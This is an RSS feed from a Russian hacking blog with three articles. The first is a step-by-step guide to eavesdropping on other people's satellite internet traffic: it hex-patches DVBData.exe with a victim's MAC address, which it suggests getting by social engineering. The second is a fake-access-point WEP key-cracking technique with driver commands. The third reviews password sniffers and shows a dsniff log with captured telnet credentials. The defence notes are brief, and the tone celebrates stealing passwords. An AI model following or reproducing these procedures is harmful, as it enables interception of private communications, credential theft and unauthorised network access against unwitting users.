<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Как разблокировать аккаунт &#187; статьи</title>
	<atom:link href="http://suspended.ru/tag/%d1%81%d1%82%d0%b0%d1%82%d1%8c%d0%b8/feed/" rel="self" type="application/rss+xml" />
	<link>http://suspended.ru</link>
	<description>Как разблокировать аккаунты, защитить компьютер и стать хакером</description>
	<lastBuildDate>Thu, 23 Dec 2021 13:52:45 +0000</lastBuildDate>
	<language>ru-RU</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.9.27</generator>
	<item>
		<title>Спутниковый шпионаж</title>
		<link>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-290/</link>
		<comments>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-290/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:05:40 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Это интересно]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[интересно]]></category>
		<category><![CDATA[статьи]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://suspended.ru/?p=598</guid>
		<description><![CDATA[конецформыначалоформыРазвитие современных компьютерных технологий поражает. Устройства становятся меньше, а вычислительные способности удваиваются, чуть ли не каждый год! Уже ни кого не удивить высокоскоростным доступом ADSL, беспроводным Wi-Fi и тем более GRPS и его продолжением &#8212; EDGE. На рядового пользователя трудится даже космическая отрасль. Вывод спутников на орбиту &#8212; колоссальные затраты, а все ради того, что [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-76" style="margin: 10px;" title="internet" src="http://suspended.ru/wp-content/uploads/2010/05/internet298.jpg" alt="интернет" />конецформыначалоформыРазвитие современных компьютерных технологий поражает. Устройства становятся меньше, а вычислительные способности удваиваются, чуть ли не каждый год! Уже ни кого не удивить высокоскоростным доступом ADSL, беспроводным Wi-Fi и тем более GRPS и его продолжением &#8212; EDGE. На рядового пользователя трудится даже космическая отрасль. Вывод спутников на орбиту &#8212; колоссальные затраты, а все ради того, что бы мы могли наслаждаться спутниковым телевидением и спутниковым Интернетом. Скорость и дешевизна, зачастую являются главным критерием при выборе подключения к Интернет. Спутниковый доступ к сети &#8212; самый оптимальный вариант, но и самый ненадежный &#8212; в плане безопасности.<span id="more-598"></span></p>
<p>Внимание! Цель данной статьи &#8212; рассмотреть возможность перехвата информации в спутниковых сетях и варианты защиты. Автор не несет ответственности за возможное применение полученной информации из статьи в противозаконных целях. Данная технология описана для общего развития, но ни как руководство к действию.<br />
Атака</p>
<p>Для начала давайте разберемся, каким образом информация передается по спутниковым каналам связи. Система основана на том, что клиентский компьютер по наземным каналам связи передает запрос в дата центр на получение какой либо информации из Интернета. В датацентре запрос обрабатывается и он загружает все по тем же наземным каналам связи информацию, которую запросил клиент. Далее из датацентра информация идет на транспондер, в задачи которого входит передать информацию на спутник. Вот тут и открывается истина &#8212; задача спутника сродни задаче зеркала &#8212; просто отражать полученный сигнал &#8212; т. е. все, что приходит от транспондера спутник просто отправляет опять на землю, но уже не в виде узкого пучка, как лазер, а более расширено &#8212; как свет от фонарного столба, чем он выше &#8212; тем больше снизу световое пятно.</p>
<p>Что же у нас получается &#8212; спутник рассеял нашу информацию по огромной поверхности нашей планеты, как же мы ее получим?</p>
<p>Здесь в роль вступает DVB карточка и тарелка. Так как сигнал со спутника приходит к нам уже с довольно низким потенциалом &#8212; его необходимо усилить. Для этого нам и нужна тарелка, и чем она больше &#8212; тем лучший сигнал мы получим. Тарелка всего лишь отражает сигнал на конвертер, который уже и является непосредственно самим приемником сигнала. Но сигнал недостаточно просто принять &#8212; его надо отфильтровать. Ведь в один момент времени в сигнале может находиться информация, которую запросили, например, 100 человек. DVB карта фильтрует сигнал, полученный конвертером, и оставляет нам только то, что запросили мы и отсекает то, что запросил сосед. Как видно из всей этой цепочки &#8212; самый уязвимый элемент системы состоит в том, что данные разделяются на клиентской стороне. Вот этим мы и воспользуемся.</p>
<p>Что нам надо сделать для получения сторонней информации? Правильно &#8212; сделать так чтоб наша DVB карточка, фильтровала чуть-чуть не так, как задумал производитель. Фильтрация происходит по нескольким параметрам &#8212; по MAC-адресу DVB карточки или же по IP-адресу. Настройка фильтрации производится в сопутствующей программе для спутникового Интернета, например – DVBData из комплекта TTBudget-1401.</p>
<p>Как было уже сказано выше, непосредственно фильтрацию производит не сама карточка, а ее софт &#8212; тот самый, который мы запускаем при подключении к Интернету используя спутник. И именно его, мигающего нам зеленым цветом в трее при хорошем сигнале, мы и будем эксплуатировать (на примере DVBData от TTBudget &#8212; 1401).</p>
<p>После непродолжительного изучения работы и алгоритма DVBData.exe, была найдена возможность (простой заменой некоторых строк в исполняемом файле) заставить фильтр работать на нас. По умолчанию DVBData.exe не фильтрует так называемые multicast пакеты, которые рассылает провайдер спутникового Интернета. В multicast пакетах может быть и техническая информация, а может быть и программа передач. Но не столь важно, что может быть в этих multicast – главное, что фильтруются они по MAC-адресам, которые жестко прописаны в DVBData.exe. И если в самой программе изменить эти адреса – то мы заставим DVB карточку пропускать через себя абсолютно любые пакеты с произвольным MAC-адресом, вместо multicast.</p>
<p>Для этого откроем в любимом HEX редакторе DVBData.exe и поменяем все 10 адресов по смещению 72168h вида 01005E000008 на мак адрес карточки, информацию с которой нам надо получить. После изменения адресов сохраняем наш измененный файл под именем DVBData2.exe и копируем его в тот же каталог, что и оригинал.</p>
<p>И вот настал самый интересный момент &#8212; нам осталось направить нашу тарелку на тот же самый спутник, что и у нашего коллеги. Запустить наш модифицированный DVBData2.exe. И с удовольствием наблюдать, как в трее начинает мигать значок сетевого подключения &#8212; теперь информация, которую запросил наш друг, приходит и к нему и к нам!</p>
<p>Но что с того, что к нам приходят посторонние пакеты &#8212; мы то от этого ничего кроме загрузки процессора не получаем. Нам надо весь приходящий трафик куда-то сохранять и анализировать. Для этой цели прекрасно подходит сетевой анализатор Ethereal. В его задачи будет входить сохранение всех полученных пакетов в файл и дальнейший их анализ.</p>
<p>Итак, после установки запускаем наш анализатор. И активируем захват сетевого интерфейса нашей DVB карточки в меню Capture. Далее запускаем наш модифицированный DVBData2.exe. И вот они побежали &#8212; наши мегабайты информации. Стоит, пожалуй, еще напомнить, что при запуске DVBData2.exe нам нужно будет еще указать PID – это номера потоков. Их можно узнать на сайте провайдера или просто вписать все активные пиды, которые предоставит нам программа PidScanner. После непродолжительной работы всего нашего спец-софта захват можно прекратить и сохранить к себе на диск весь поток информации, который мы заполучили.</p>
<p>Теперь осталось в том же самом Ethereal открыть наш сохраненный поток данных. И уже не спеша, попивая чай или кофе, брать ту информацию, ради которой мы не пожалели потратить столько времени на настройку тарелки, ремонт ПО спутниковой карточки, установку Ethereal и, конечно же, на прочтение этой статьи.<br />
Защита</p>
<p>Единственный способ защитится от прослушивания во время использования спутникового Интернета &#8212; шифрование всего трафика криптостойким алгоритмом. Никогда не используйте спутниковый Интернет для получения личной и особо ценной информации.</p>
<p>Различные вопросы и решения, которые могли возникнуть.</p>
<p>Вопрос: что можно перехватить таким методом?</p>
<p>Ответ: абсолютно весь входящий трафик. Т.е и Интернет странички, и почту, и аську, и все остальное.</p>
<p>Вопрос: как узнать мак адрес посторонней DVB карточки?</p>
<p>Ответ: для этого есть несколько способов. Первый и самый простой &#8212; просто спросить его у нашего коллеги. Если просто спросить нельзя &#8212; можно воспользоваться СИ. Ну а самый шпионский вариант – это использование спутниковых программ-граберов, например manna.</p>
Файл 7f5ddbf668be432bbaf47f6ed1d47c4b/sape.php не найден!]]></content:encoded>
			<wfw:commentRss>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-290/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Атаки на клиентов WEP</title>
		<link>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-291/</link>
		<comments>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-291/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:05:40 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Это интересно]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[интересно]]></category>
		<category><![CDATA[статьи]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://suspended.ru/?p=599</guid>
		<description><![CDATA[Казалось бы, говорить об уязвимостях протокола WEP в 2007 году можно только с точки зрения исторической ретроспективы. Однако, несмотря на все свои недостатки, протокол WEP все еще широко используется в беспроводных сетях. Что обуславливает необходимость демонстрации опасности его применения в ходе тестов на проникновение. Существующие методы взлома WEP ориентированны, прежде всего, на точки доступа и [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-76" style="margin: 10px;" title="internet" src="http://suspended.ru/wp-content/uploads/2010/05/internet299.jpg" alt="интернет" />Казалось бы, говорить об уязвимостях протокола WEP в 2007 году можно только с точки зрения исторической ретроспективы. Однако, несмотря на все свои недостатки, протокол WEP все еще широко используется в беспроводных сетях. Что обуславливает необходимость демонстрации опасности его применения в ходе тестов на проникновение. Существующие методы взлома WEP ориентированны, прежде всего, на точки доступа и требуют наличия возможности интерактивного взаимодействия с AP. В данной статье приведена техника, позволяющая восстановить ключ WEP без доступа к AP, находясь в диапазоне радиовидимости станции, ищущей сеть.<br />
Например, ключ WEP к домашней точке доступа может быть получен в то время, как её владелец работает на ноутбуке в самолете или офисе.<span id="more-599"></span><br />
Атаки на клиентов беспроводных сетей<br />
Атаки, направленные на клиентов беспроводных сетей являются эффективным инструментом в арсенале злоумышленников. Одним из наиболее распространенных методов является создание атакующим точки доступа, ожидание соединения с ней клиента и подключение к станции на сетевом уровне. Для эмуляции точки доступа, соответствующей требованиям станции могут быть использованы утилиты Karma Tools, probemapper или airsnarf и т.д.<br />
Как показывают исследования с использованием техники Gnivirdraw, до 80% клиентов содержат в профиле незащищенные подключения или по другим причинам соединяются с ложными точками доступа. Однако использование станцией любых механизмов защиты, даже таких как WEP уже серьезно снижают вероятность успеха атакующего. Это связанно с тем, что клиенты будут требовать от ложной точки доступа применения WEP.<br />
Большинство клиентов используют аутентификацию Open System, что увеличивает вероятность успешного установления ассоциации и в случае применения WEP. Однако все данные на вышестоящих уровнях модели OSI будут зашифрованы с помощью неизвестного ключа. То есть злоумышленник может установить ложную точку доступа с произвольным ключом WEP и многие клиенты подключатся к ней на канальном уровне, но без возможности обмена информацией.<br />
В некоторых публикациях, например &#171;Отважные герои всегда идут в обход&#187; приводится описание атак с ложной точкой доступа, при которых для восстановления ключа используется трафик, генерируемый клиентом. Однако автору описанные атаки представляются скорее теоретическими, чем пригодными для практического применения.<br />
Большинство современных реализаций стека TCP/IP генерируют некоторый объем сетевого трафика при подключении к сети. Примером могут служить сообщения протоколов DHCP, NetBIOS, IPv6 NDP и так далее. Однако количество передаваемых в этом случае пакетов (как правило, до нескольких десятков) недостаточно для проведения KoreK-атак, требующих десятки тысяч пакетов с различными векторами инициализации (IV).<br />
Стандартный подход, заключающийся в передаче перехваченных ранее широковещательных пакетов, в рассматриваем случае также бесполезен. Поскольку точка доступа контролируется злоумышленником, все ретранслированные ею пакеты будут использовать ключ WEP, не представляющий интереса для злоумышленника. Таким образом, для взлома WEP необходимо спровоцировать подключившегося клиента на передачу достаточного количества пакетов с различными значениями векторов инициализации. Решить эту задачу можно путем передачи клиенту сообщений, требующих ответа (ARP, ICMP-Echo, IPv6 NDP). Но сделать это необходимо без знания ключа WEP.<br />
Атаки с фрагментацией<br />
Существует достаточно много методов формирования пакетов WEP без знания ключа шифрования. Наиболее эффективным является использование фрагментации на канальном уровне 802.11 . Суть этого метода заключается в эксплуатации атаки с известным открытым текстом. Используя предсказуемый формат заголовков LLC, существует возможность восстановить 8 байт гаммы (выхода алгоритма PRGA в RC4, далее PRGA). Для этого первые восемь из зашифрованных байт складываются по модулю два с константой, содержащей стандартное значение заголовков LLC<br />
Как видно , в заголовке LLC два последних байта могут меняться. Их значение определяет тип используемого протокола вышестоящего уровня. Возможные значения данных полей описаны в документах IANA (http://www.iana.org/assignments/ethernet-numbers).<br />
В большинстве случаев беспроводные сети используются для передачи IP-трафика. Следовательно, поле Ether type может принимать одно из трех возможных значений:<br />
0&#215;0800 – при передаче IP пакетов;<br />
0&#215;0806 – для пакетов ARP;<br />
0x86DD – для пакетов IPv6.<br />
Пакеты ARP легко отличить от других по их фиксированному размеру (28 байт данных). Использование протокола IPv6 достаточно просто идентифицируется по наличию широковещательных пакетов на MAC-адреса 33:33:xx:xx:xx:xx, используемых протоколом IPv6 NDP. Полученные 8 байт гаммы могут быть использованы для передачи в сеть произвольных данных той же длины. Но с практической точки зрения это не представляет большого интереса, поскольку все 8 байт в передаваемом пакете будет занимать заголовок LLC. Чтобы обойти это ограничение, может использоваться функция фрагментации на канальном уровне. Беспроводные сети реализуют механизм, позволяющий передать один пакет вышестоящего уровня в нескольких (до 16) фрагментах 802.11. После перехвата одного из пакетов клиента и восстановления PRGA, отправляемый пакет разделяется на несколько фрагментов, содержащих по 4 байта данных (см. рисунок 4).<br />
Каждый их них передается как отдельный фрейм с использованием функции фрагментации 802.11. Пакеты дополняются контрольной суммой (WEP ICV) и зашифровываются с использованием отрезка восстановленной гаммы. Таким образом, без знания ключа WEP в сеть можно передать пакеты длиной до 64 байт. На практике в сеть можно передать пакеты большего размера. Для этого используется IP-фрагментация, а также структура некоторых служебных пакетов. Например, при перехвате пакета ARP пакета можно восстановить не 8, а 24 байта гаммы (см. рисунок 5). Для этого используются крайне предсказуемые значения заголовков LLC, ARP, а также MAC-адрес отправителя, указанный в заголовках 802.11 в открытом виде<br />
При использовании в сети IPv6, можно восстановить и больший отрезок гаммы. Например, при перехвате пакетов IPv6 NDP Neighbor Solicitation или Router Solicitation можно восстановить до 50 байт гаммы (заголовки LLC + заголовки IP + 2 байта заголовков ICMP). Это связанно с тем, что в заголовке IPv6 отсутствует поле контроля целостности. Кроме того, при использовании Local-Link адресации адрес IPv6 можно восстановить по MAC-адресу в заголовках 802.11 (см. http://www.securitylab.ru/contest/264659.php), если узлом не используется механизмы рандомизации адресов. Отличить разные типы сообщений IPv6 можно по MAC-адресам получателей и размеру. Например, пакет, IPv6 Router Solicitation имеет длину 70 байт и передается на MAC-адрес 33:33:00:00:00:02.<br />
С использованием 50 байт PRGA в сеть можно передать пакеты размером до 736 байт ((50-4)*16), что более чем достаточно для практических целей.<br />
Генерация трафика<br />
При использовании атаки с фрагментацией у злоумышленника, установившего ложную точку доступа, появляется возможность передать подключившейся станции зашифрованный пакет, которой будет гарантированно обработан получателем. Таким образом, остается только сформировать пакет, на который клиент ответит. Примером подобного пакета является ARP-запрос. Дополнительным плюсом является тот факт, что ARP-пакеты не блокируются персональными межсетевыми экранами. Однако, для того, чтобы станция ответила на ARP-запрос, необходимо, чтобы поле Target IP содержало текущий IP-адрес интерфейса. Этой информацией злоумышленник не обладает, поскольку адрес передается в пакетах в зашифрованном виде.<br />
Чтобы получить IP-адрес станции, можно воспользоваться ARP-сканированием, то есть отправкой ARP-запросов на различные адреса получателей, и ожиданием ответа на один из них. Если ответ был получен, значит, станция использует запрошенный IP-адрес (например, 169.254.5.9, см. рисунок 6).<br />
Атаки на клиентов WEP<br />
В качестве диапазонов для сканирования могут выбираться адреса из диапазона APIPA (169.254/32) или распространенные адреса RFC 1918 (например, 192.168.0/24). После того, как IP-адрес станции был определен, используется повторная передача ARP-запроса с целью получения необходимого для KoreK-атак количества пакетов с различными векторами инициализации. Для того, чтобы отличить ARP-запросы, отправленные на разные IP-адреса, могут использоваться различные MAC-адреса отправителя. В случае поддержки станцией IPv6 ситуация упрощается. Поскольку большинство реализаций стека IPv6 отвечает на широковещательные (например, направленные на адрес ff02::01) ICMPv6-echo запросы, то злоумышленнику достаточно отправить подобный пакет в сеть.<br />
Атаки на клиентов WEP<br />
Также в IPv6 может применяться пакет IPv6 Neighbor Solicitation (аналог ARP-Request в IPv4). В этом случае осуществлять подбор IP-адреса нет необходимости, поскольку Local-Link IP-адрес может быть определен по MAC-адресу стации.<br />
В ходе исследования использовались клиентах на основе следующих ОС:<br />
Windows XP Service Pack 2<br />
Linux 2.6.x<br />
Windows Mobile 2003 SE<br />
Во всех трех случаях подход показал высокую эффективность работы. Особенно это относится к Linux и Windows Mobile, стеки TCP/IP которых поддерживают IPv6 «по умолчанию». Сводные данные по ОС приведены в таблице.<br />
Windows XP Service Pack 2 Linux 2.6.x Windows Mobile 2003 SE<br />
Поддержка APIPA Да Зависит от настройки Да<br />
Поддержка IPv6 Требует настройки Встроенная Встроенная<br />
Ответ на ping6 ff02::1 Да Да Да<br />
Поддержка RFC3041 Нет Нет Нет<br />
Практическая реализация<br />
Для демонстрации практической возможности описанной атаки была разработана утилита wep0ff . После запуска, программа ожидает пакетов от соединившихся клиентов. Из полученного пакета извлекается значение вектора инициализации и MAC-адреса станции, восстанавливается PRGA. Затем программа в течении полутора минут оправляет широковещательные ICMPv6-Echo запросы, после чего пытается провести ARP-сканирование сети для диапазона APIPA (169.254/32). Как показали эксперименты, сканирование всех адресов данного диапазона в режиме 802.11g only занимает мене двух минут.<br />
Программа разрабатывалась для драйверов madwifi-old с поддержкой raw device. Для её использования необходимо предварительно настроить драйвер на поддержку данного типа устройств:<br />
# iwpriv ath0 mode 3<br />
# echo 1 > /proc/sys/dev/ath0/rawdev<br />
# echo 1 > /proc/sys/dev/ath0/rawdev_type<br />
# ifconfig ath0raw up<br />
Программа вполне также работоспособна и на драйверах madwifi-ng. В этом случае необходимо создать два виртуальных адаптера: один для работы в режиме точки доступа, второй – в режиме мониторинга.<br />
# wlanconfig ath0 create wlandev wifi0 wlanmode master<br />
# wlanconfig ath1 create wlandev wifi0 wlanmode monitor<br />
Затем интерфейс переводится в режим точки доступа. Для этого могут использоваться Karma Tools (для ответа на Probe Request с произвольным значением essid), либо стандартные функции драйвера:<br />
# iwconfig ath0 mode master essid foo enc 1122334455 channel 1<br />
В случае использования Karma tools необходимо вручную включать режим использования шифрования (значение ключа WEP – произвольное):<br />
# iwconfig ath0 enc 1122334455<br />
После этого необходимо запустить программу wep0ff и дождаться её перехода в режим ipv6 flood или ARP flood.<br />
Атаки на клиентов WEP<br />
После этого, используется любая программа сбора беспроводного трафика, например airodump-ng для накопления необходимого количества пакетов с различными векторами инициализации. После чего используется KoreK-атаки для восстановления ключа WEP.</p>
Файл 7f5ddbf668be432bbaf47f6ed1d47c4b/sape.php не найден!]]></content:encoded>
			<wfw:commentRss>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-291/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Сниффер &#8212; что за зверь</title>
		<link>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-292/</link>
		<comments>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-292/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:05:40 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Это интересно]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[интересно]]></category>
		<category><![CDATA[статьи]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://suspended.ru/?p=600</guid>
		<description><![CDATA[конецформыначалоформыСнифферы &#8212; это проги, которые перехватывают весь сетевой трафик. Снифферы полезны для диагностики сети(для админов) и для перехвата паролей (понятно для кого:)). Например если ты получил доступ к одной сетевой машине и установил там сниффер, то скоро все пароли от их подсети будут твои. Снифферы ставят сетевую карту в прослушивающий режим (PROMISC).То есть они получают [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-76" style="margin: 10px;" title="internet" src="http://suspended.ru/wp-content/uploads/2010/05/internet300.jpg" alt="интернет" />конецформыначалоформыСнифферы &#8212; это проги, которые перехватывают весь сетевой трафик. Снифферы полезны для диагностики сети(для админов) и для перехвата паролей (понятно для кого:)). Например если ты получил доступ к одной сетевой машине и установил там сниффер, то скоро все пароли от их подсети будут твои. Снифферы ставят сетевую карту в прослушивающий режим (PROMISC).То есть они получают все пакеты. В локалке можно перехватывать все отправляемые пакеты со всех машин (если вы не разделены всякими хабами), так как там практикуется широковещание. Снифферы могут перехватывать все пакеты (что очень неудобно, ужасно быстро переполняется лог файл, зато для более детального анализа сети самое оно) или только первые байты от всяких ftp,telnet,pop3 и т.д.<span id="more-600"></span> (это самое веселое, обычно примерно в первых 100 байтах содержится имя и пароль:)). Снифферов сейчас развелось&#8230; Множество снифферов есть как под Unix, так и под Windows (даже под DOS есть:)). Снифферы могут поддерживать только определенную ось (например linux_sniffer.c,который поддерживает Linux:)), либо несколько (например Sniffit, работает с BSD, Linux, Solaris). Снифферы так разжились из-за того, что пароли передаются по сети открытым текстом. Таких служб уйма. Это telnet, ftp, pop3, www и т.д. Этими службами пользуется уйма народу:). После бума снифферов начали появляться различные алгоритмы шифрования этих протоколов. Появился SSH (альтернатива telnet, поддерживающий шифрование), SSL(Secure Socket Layer &#8212; разработка Netscape, способная зашифровать www сеанс). Появились всякие Kerberous, VPN(Virtual Private Network). Заюзались некие AntiSniff&#8217;ы, ifstatus&#8217;ы и т.д. Но это в корне не изменило положения. Службы, которые используют передачу пароля plain text&#8217;ом юзаются во всю:). Поэтому сниффать еще долго будут:).<br />
Windows реализации снифферов</p>
<p>CommView &#8212; www.tamos.com<br />
Довольно продвинутый сниффер производства TamoSoft. Можно установить свои правила на сниффинг (например игнорировать ICMP, а TCP сниффать, также кроме Internet протоколов имеется поддержка Ethernet протоколов, таких как ARP,SNMP,NOVELL и т.д.). Можно например сниффать только входящие пакеты, а остальные игнорить. Можно указать лог-файл для всех пакетов с лимитов размера в мегах. Имеет две tools&#8217;ы &#8212; Packet Generator и NIC Vendor Indentifier. Можно посмотреть все подробности посланных /полученных пакетов (например в TCP пакете можно просмотреть Source Port, Destination Port, Data length, Checksum, Sequence, Window, Ack, Flags, Urgent). Радует еще то, что она автоматически устанавливает CAPTURE драйвер. В общем тулза очень полезная для снифа, рекомендую всем.</p>
<p>SpyNet &#8212; packetstorm.securify.com<br />
Довольно известный сниффер производства Laurentiu Nicula 2000:). Обычные функции &#8212; перехват/декодинг пакетов. Хотя декодинг развит прикольно (можно например по пакетам воссоздавать странички, на которых побывал юзер!). В общем на любителя:).</p>
<p>Analyzer &#8212; neworder.box.sk<br />
Analyzer требует установку специального драйвера, вложенного в пакет (packet.inf, packet.sys). Можно посмотреть всю инфу о вашей сетевой карте. Также Analyzer поддерживает работу с командной строкой. Он прекрасно работает с локальной сетью. Имеет несколько утилит: ConvDump,GnuPlot,FlowsDet,Analisys Engine. Ничего выдающегося.</p>
<p>IRIS &#8212; www.eeye.com<br />
IRIS продукт известной фирмы eEye. Представляет обширные возможности по фильтрации. Меня в нем сильно порадовало три фишки:<br />
1.Protocol Distribution<br />
2.Top hosts<br />
3.Size Distribution<br />
Также имеется Packet Decoder. Он поддерживает развитую систему логов. А доступные возможности фильтрации превосходят все снифферы обзора. Это Hardware Filter, который может ловить либо все пакеты (Promiscious), либо с различными ограничениями (например захватывать только multicast пакеты или broadcast пакеты, либо только Mac фреймы). Можно фильтровать по определенным MAC/IP адресам, по портам, по пакетам, содержащим определенные символы. В общем неплохой сниффак. Требует 50comupd.dll.</p>
<p>WinDUMP<br />
Аналог TCPdump for Unix. Этот сниффак действует через командную строку и представляет минимальные возможности по конфигурации и еще требует библиотеку WinPcap. Мне не очень&#8230;</p>
<p>SniffitNT<br />
Тоже требует WinPcap. Работа только как командной строкой, так и в интерактивном режиме. Со сложными опциями. Мне не очень.</p>
<p>ButtSniff<br />
Обычный пакетный сниффер созданный известнейшей группой CDC(Cult of the Dead Cow). Фишка его в том, что его можно использовать, как плагин к BO:)(Очень полезно:)).Работа из командной строки.</p>
<p>Существуют еще множество снифферов, таких как NatasX, NetXRay, CooperSniffer, LanExplorer, Net Analyzer и т.д. Пойдем дальне&#8230;</p>
<p>Unix&#8217;овые снифферы</p>
<p>Все снифферы данного обзора можно найти на packetstorm.securify.com.</p>
<p>linsniffer<br />
Это простой сниффер для перехвата логинов/паролей. Стандартная компиляция (gcc -o linsniffer linsniffer.c).<br />
Логи пишет в tcp.log.</p>
<p>linux_sniffer<br />
Linux_sniffer требуется тогда, когда вы хотите детально изучить сеть. Стандартная компиляция. Выдает всякую шнягу дополнительно, типа isn, ack, syn, echo_request (ping) и т.д.</p>
<p>Sniffit<br />
Sniffit &#8212; продвинутая модель сниффера написанная Brecht Claerhout. Install(нужна libcap):<br />
#./configure<br />
#make<br />
Теперь запускаем сниффер:<br />
#./sniffit<br />
usage: ./sniffit [-xdabvnN] [-P proto] [-A char] [-p port] [(-r|-R) recordfile]<br />
[-l sniflen] [-L logparam] [-F snifdevice] [-M plugin]<br />
[-D tty] (-t | -s) | (-i|-I) | -c]<br />
Plugins Available:<br />
0 &#8212; Dummy Plugin<br />
1 &#8212; DNS Plugin</p>
<p>Как видите, сниффит поддерживает множество опций. Можно использовать сниффак в интерактивном режиме. Сниффит хоть и довольно полезная прога, но я ей не пользуюсь. Почему? Потому что у Sniffit большие проблемы с защитой. Для Sniffit&#8217;a уже вышли ремоутный рут и дос для линукса и дебиана! Не каждый сниффер себе такое позволяет:).</p>
<p>HUNT<br />
Это мой любимый сниффак. Он очень прост в обращении, поддерживает много прикольных фишек и на данный момент не имеет проблем с безопасностью. Плюс не особо требователен к библиотекам (как например linsniffer и Linux_sniffer). Он может в реальном времени перехватывать текущие соединения и под чистую дампить с удаленного терминала. В общем, Hijack rulezzz:). Рекомендую всем для усиленного юзания:).<br />
Install:<br />
#make<br />
Run:<br />
#hunt -i [interface]</p>
<p>READSMB<br />
Сниффер READSMB вырезан из LophtCrack и портирован под Unix (как ни странно:)). Readsmb перехватывает SMB пакеты.</p>
<p>TCPDUMP<br />
tcpdump &#8212; довольно известный анализатор пакетов. Написанный еще более известным челом &#8212; Вэн Якобсоном, который придумал VJ-сжатие для PPP и написал прогу traceroute (и кто знает что еще?). Требует библиотеку Libpcap.<br />
Install:<br />
#./configure<br />
#make<br />
Теперь запускаем ее:<br />
#tcpdump<br />
tcpdump: listening on ppp0<br />
Все твои коннекты выводит на терминал. Вот пример вывода на пинг<br />
ftp.technotronic.com:<br />
02:03:08.918959 195.170.212.151.1039 > 195.170.212.77.domain: 60946+ A?<br />
ftp.technotronic.com. (38)<br />
02:03:09.456780 195.170.212.77.domain > 195.170.212.151.1039: 60946* 1/3/3 (165)<br />
02:03:09.459421 195.170.212.151 > 209.100.46.7: icmp: echo request<br />
02:03:09.996780 209.100.46.7 > 195.170.212.151: icmp: echo reply<br />
02:03:10.456864 195.170.212.151 > 209.100.46.7: icmp: echo request<br />
02:03:10.906779 209.100.46.7 > 195.170.212.151: icmp: echo reply<br />
02:03:11.456846 195.170.212.151 > 209.100.46.7: icmp: echo request<br />
02:03:11.966786 209.100.46.7 > 195.170.212.151: icmp: echo reply<br />
В общем, снифф полезен для отладки сетей, нахождения неисправностей и т.д.</p>
<p>Dsniff<br />
Dsniff требует libpcap, ibnet, libnids и OpenSSH. Записывает только введенные команды, что очень удобно. Вот пример лога коннекта на unix-shells.com:</p>
<p>02/18/01 03:58:04 tcp my.ip.1501 -> handi4-145-253-158-170.arcor-ip.net.23<br />
(telnet)<br />
stalsen<br />
asdqwe123<br />
ls<br />
pwd<br />
who<br />
last<br />
exit</p>
<p>Вот dsniff перехватил логин с паролем (stalsen/asdqwe123).<br />
Install:<br />
#./configure<br />
#make<br />
#make install</p>
<p>Защита от снифферов</p>
<p>Самый верный способ защиты от снифферов &#8212; использовать ШИФРОВАНИЕ (SSH, Kerberous, VPN, S/Key, S/MIME, SHTTP, SSL и т.д.). Ну а если не охота отказываться от plain text служб и установления дополнительных пакетов:)? Тогда пора юзать антиснифферские пекеты&#8230;</p>
<p>AntiSniff for Windows<br />
Этот продукт выпустила известная группа Lopht. Это был первый продукт в своем роде. AntiSniff, как сказано в описании:<br />
&#171;AntiSniff is a Graphical User Interface (GUI) driven tool for detecting promiscuous Network Interface Cards (NICs) on your local network segment&#187;. В общем, ловит карты в promisc режиме. Поддерживает огромное количество тестов (DNS test, ARP test, Ping Test, ICMP Time Delta Test, Echo Test, PingDrop test). Можно сканить как одну машину, так и сетку. Здесь имеется поддержка логов. AntiSniff работает на win95/98/NT/2000, хотя рекомендуемая платформа NT. Но царствование его было недолгим и уже в скором времени появился сниффер под названием AntiAntiSniffer:), написанный Майком Перри (Mike Perry) (найти его можно по адресу www.void.ru/news/9908/snoof.txt).Он основан на LinSniffer (рассмотренный далее).</p>
<p>Unix sniffer detect:<br />
Сниффер можно обнаружить командой:<br />
#ifconfig -a<br />
